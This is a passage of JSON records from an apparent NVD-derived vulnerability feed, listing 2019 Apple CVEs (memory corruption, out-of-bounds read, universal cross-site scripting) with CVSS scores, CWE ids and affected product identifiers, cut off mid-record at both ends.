"NONE", "baseScore": 5.7, "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 3.6}, "published": "2019-12-18T18:15:00", "type": "cve", "title": "CVE-2019-8804", "cwe": ["CWE-287"], "bulletinFamily": "NVD", "cvss2": {"severity": "LOW", "exploitabilityScore": 5.5, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 2.9, "vectorString": "AV:A/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "ADJACENT_NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8804"], "modified": "2019-12-26T16:26:00", "cpe": ["cpe:/o:apple:ipados:13.2"], "id": "CVE-2019-8804", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-8804", "cvss": {"score": 2.9, "vector": "AV:A/AC:M/Au:N/C:N/I:P/A:N"}, "cpe23": ["cpe:2.3:o:apple:ipados:13.2:*:*:*:*:*:*:*"]}, {"lastseen": "2023-12-02T16:17:46", "description": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0, iCloud for Windows 7.15. Processing maliciously crafted web content may lead to arbitrary code execution.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "cve", "title": "CVE-2019-8823", "cwe": ["CWE-787"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8823"], "modified": "2021-12-01T17:52:00", "cpe": ["cpe:/a:apple:icloud:10.4"], "id": "CVE-2019-8823", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-8823", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:apple:icloud:10.4:*:*:*:*:windows:*:*"]}, {"lastseen": "2023-12-02T16:17:41", "description": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0, iCloud for Windows 7.15. Processing maliciously crafted web content may lead to arbitrary code execution.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "cve", "title": "CVE-2019-8815", "cwe": ["CWE-787"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8815"], "modified": "2021-05-18T13:14:00", "cpe": ["cpe:/o:redhat:enterprise_linux_desktop:7.0", "cpe:/o:redhat:enterprise_linux_server:7.0", "cpe:/a:apple:icloud:10.4", "cpe:/o:redhat:enterprise_linux_workstation:7.0"], "id": "CVE-2019-8815", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-8815", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:o:redhat:enterprise_linux_server:7.0:*:*:*:*:*:*:*", "cpe:2.3:o:redhat:enterprise_linux_desktop:7.0:*:*:*:*:*:*:*", "cpe:2.3:o:redhat:enterprise_linux_workstation:7.0:*:*:*:*:*:*:*", "cpe:2.3:a:apple:icloud:10.4:*:*:*:*:windows:*:*"]}, {"lastseen": "2023-12-02T16:17:36", "description": "A validation issue was addressed with improved input sanitization. This issue is fixed in iOS 13.2 and iPadOS 13.2, macOS Catalina 10.15.1, tvOS 13.2, watchOS 6.1. An application may be able to read restricted memory.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 5.5, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 3.6}, "published": "2019-12-18T18:15:00", "type": "cve", "title": "CVE-2019-8794", "cwe": ["CWE-20"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8794"], "modified": "2019-12-26T17:19:00", "cpe": [], "id": "CVE-2019-8794", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-8794", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:P/I:N/A:N"}, "cpe23": []}, {"lastseen": "2023-12-02T16:17:42", "description": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0, iCloud for Windows 7.15. Processing maliciously crafted web content may lead to arbitrary code execution.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "cve", "title": "CVE-2019-8814", "cwe": ["CWE-787"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8814"], "modified": "2021-05-18T13:12:00", "cpe": ["cpe:/o:redhat:enterprise_linux_desktop:7.0", "cpe:/o:redhat:enterprise_linux_server:7.0", "cpe:/a:apple:icloud:10.4", "cpe:/o:redhat:enterprise_linux_workstation:7.0"], "id": "CVE-2019-8814", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-8814", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:o:redhat:enterprise_linux_server:7.0:*:*:*:*:*:*:*", "cpe:2.3:o:redhat:enterprise_linux_desktop:7.0:*:*:*:*:*:*:*", "cpe:2.3:o:redhat:enterprise_linux_workstation:7.0:*:*:*:*:*:*:*", "cpe:2.3:a:apple:icloud:10.4:*:*:*:*:windows:*:*"]}, {"lastseen": "2023-12-02T16:17:43", "description": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, watchOS 6.1, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0, iCloud for Windows 7.15. Processing maliciously crafted web content may lead to arbitrary code execution.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "cve", "title": "CVE-2019-8811", "cwe": ["CWE-787"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8811"], "modified": "2021-12-01T17:19:00", "cpe": ["cpe:/a:apple:icloud:10.4"], "id": "CVE-2019-8811", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-8811", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:apple:icloud:10.4:*:*:*:*:windows:*:*"]}, {"lastseen": "2023-12-02T16:17:42", "description": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, watchOS 6.1, Safari 13.0.3, iTunes for Windows 12.10.2. Processing maliciously crafted web content may lead to arbitrary code execution.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "cve", "title": "CVE-2019-8808", "cwe": ["CWE-787"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8808"], "modified": "2021-12-01T17:04:00", "cpe": [], "id": "CVE-2019-8808", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-8808", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": []}, {"lastseen": "2023-12-02T16:17:35", "description": "A memory corruption issue was addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, macOS Catalina 10.15.1, iTunes for Windows 12.10.2, iCloud for Windows 11.0, iCloud for Windows 7.15. An application may be able to execute arbitrary code with system privileges.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "cve", "title": "CVE-2019-8784", "cwe": ["CWE-787"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8784"], "modified": "2021-07-21T11:39:00", "cpe": [], "id": "CVE-2019-8784", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-8784", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "cpe23": []}, {"lastseen": "2023-12-02T16:17:44", "description": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0, iCloud for Windows 7.15. Processing maliciously crafted web content may lead to arbitrary code execution.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "cve", "title": "CVE-2019-8819", "cwe": ["CWE-787"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8819"], "modified": "2021-12-01T17:36:00", "cpe": [], "id": "CVE-2019-8819", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-8819", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": []}, {"lastseen": "2023-12-02T16:17:35", "description": "A memory corruption issue was addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, macOS Catalina 10.15.1, tvOS 13.2, watchOS 6.1. An application may be able to execute arbitrary code with system privileges.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "cve", "title": "CVE-2019-8785", "cwe": ["CWE-787"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8785"], "modified": "2021-07-21T11:39:00", "cpe": ["cpe:/o:apple:ipados:13.2"], "id": "CVE-2019-8785", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-8785", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:o:apple:ipados:13.2:*:*:*:*:*:*:*"]}, {"lastseen": "2023-12-02T16:17:36", "description": "An out-of-bounds read was addressed with improved input validation. This issue is fixed in iOS 13.2 and iPadOS 13.2, macOS Catalina 10.15.1, tvOS 13.2, watchOS 6.1. A remote attacker may be able to leak memory.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2019-12-18T18:15:00", "type": "cve", "title": "CVE-2019-8787", "cwe": ["CWE-125"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8787"], "modified": "2019-12-22T15:59:00", "cpe": ["cpe:/o:apple:ipados:13.2"], "id": "CVE-2019-8787", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-8787", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, "cpe23": ["cpe:2.3:o:apple:ipados:13.2:*:*:*:*:*:*:*"]}, {"lastseen": "2023-12-02T16:17:45", "description": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0, iCloud for Windows 7.15. Processing maliciously crafted web content may lead to arbitrary code execution.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "cve", "title": "CVE-2019-8822", "cwe": ["CWE-787"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8822"], "modified": "2021-12-01T17:44:00", "cpe": ["cpe:/a:apple:icloud:10.4"], "id": "CVE-2019-8822", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-8822", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:apple:icloud:10.4:*:*:*:*:windows:*:*"]}, {"lastseen": "2023-12-02T16:17:40", "description": "A logic issue was addressed with improved state management. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0. Processing maliciously crafted web content may lead to universal cross site scripting.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2019-12-18T18:15:00", "type": "cve", "title": "CVE-2019-8813", "cwe": ["CWE-79"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8813"], "modified": "2022-10-14T02:02:00", "cpe": [], "id": "CVE-2019-8813", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-8813", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}, "cpe23": []}, {"lastseen": "2023-12-02T16:17:47", "description": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0, iCloud for Windows 7.15. Processing maliciously crafted web content may lead to arbitrary code execution.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "cve", "title": "CVE-2019-8821", "cwe": ["CWE-787"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8821"], "modified": "2021-12-01T17:41:00", "cpe": [], "id": "CVE-2019-8821", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-8821", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": []}, {"lastseen": "2023-12-02T16:17:35", "description": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0, iCloud for Windows 7.15. Processing maliciously crafted web content may lead to arbitrary code execution.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "cve", "title": "CVE-2019-8783", "cwe": ["CWE-787"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8783"], "modified": "2021-12-01T17:01:00", "cpe": ["cpe:/o:apple:ipados:13.2"], "id": "CVE-2019-8783", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-8783", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:o:apple:ipados:13.2:*:*:*:*:*:*:*"]}, {"lastseen": "2023-12-02T16:17:42", "description": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, watchOS 6.1, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0, iCloud for Windows 7.15. Processing maliciously crafted web content may lead to arbitrary code execution.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "cve", "title": "CVE-2019-8820", "cwe": ["CWE-787"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8820"], "modified": "2021-12-01T17:34:00", "cpe": [], "id": "CVE-2019-8820", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-8820", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": []}, {"lastseen": "2023-12-02T16:17:35", "description": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0. Processing maliciously crafted web content may lead to arbitrary code execution.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 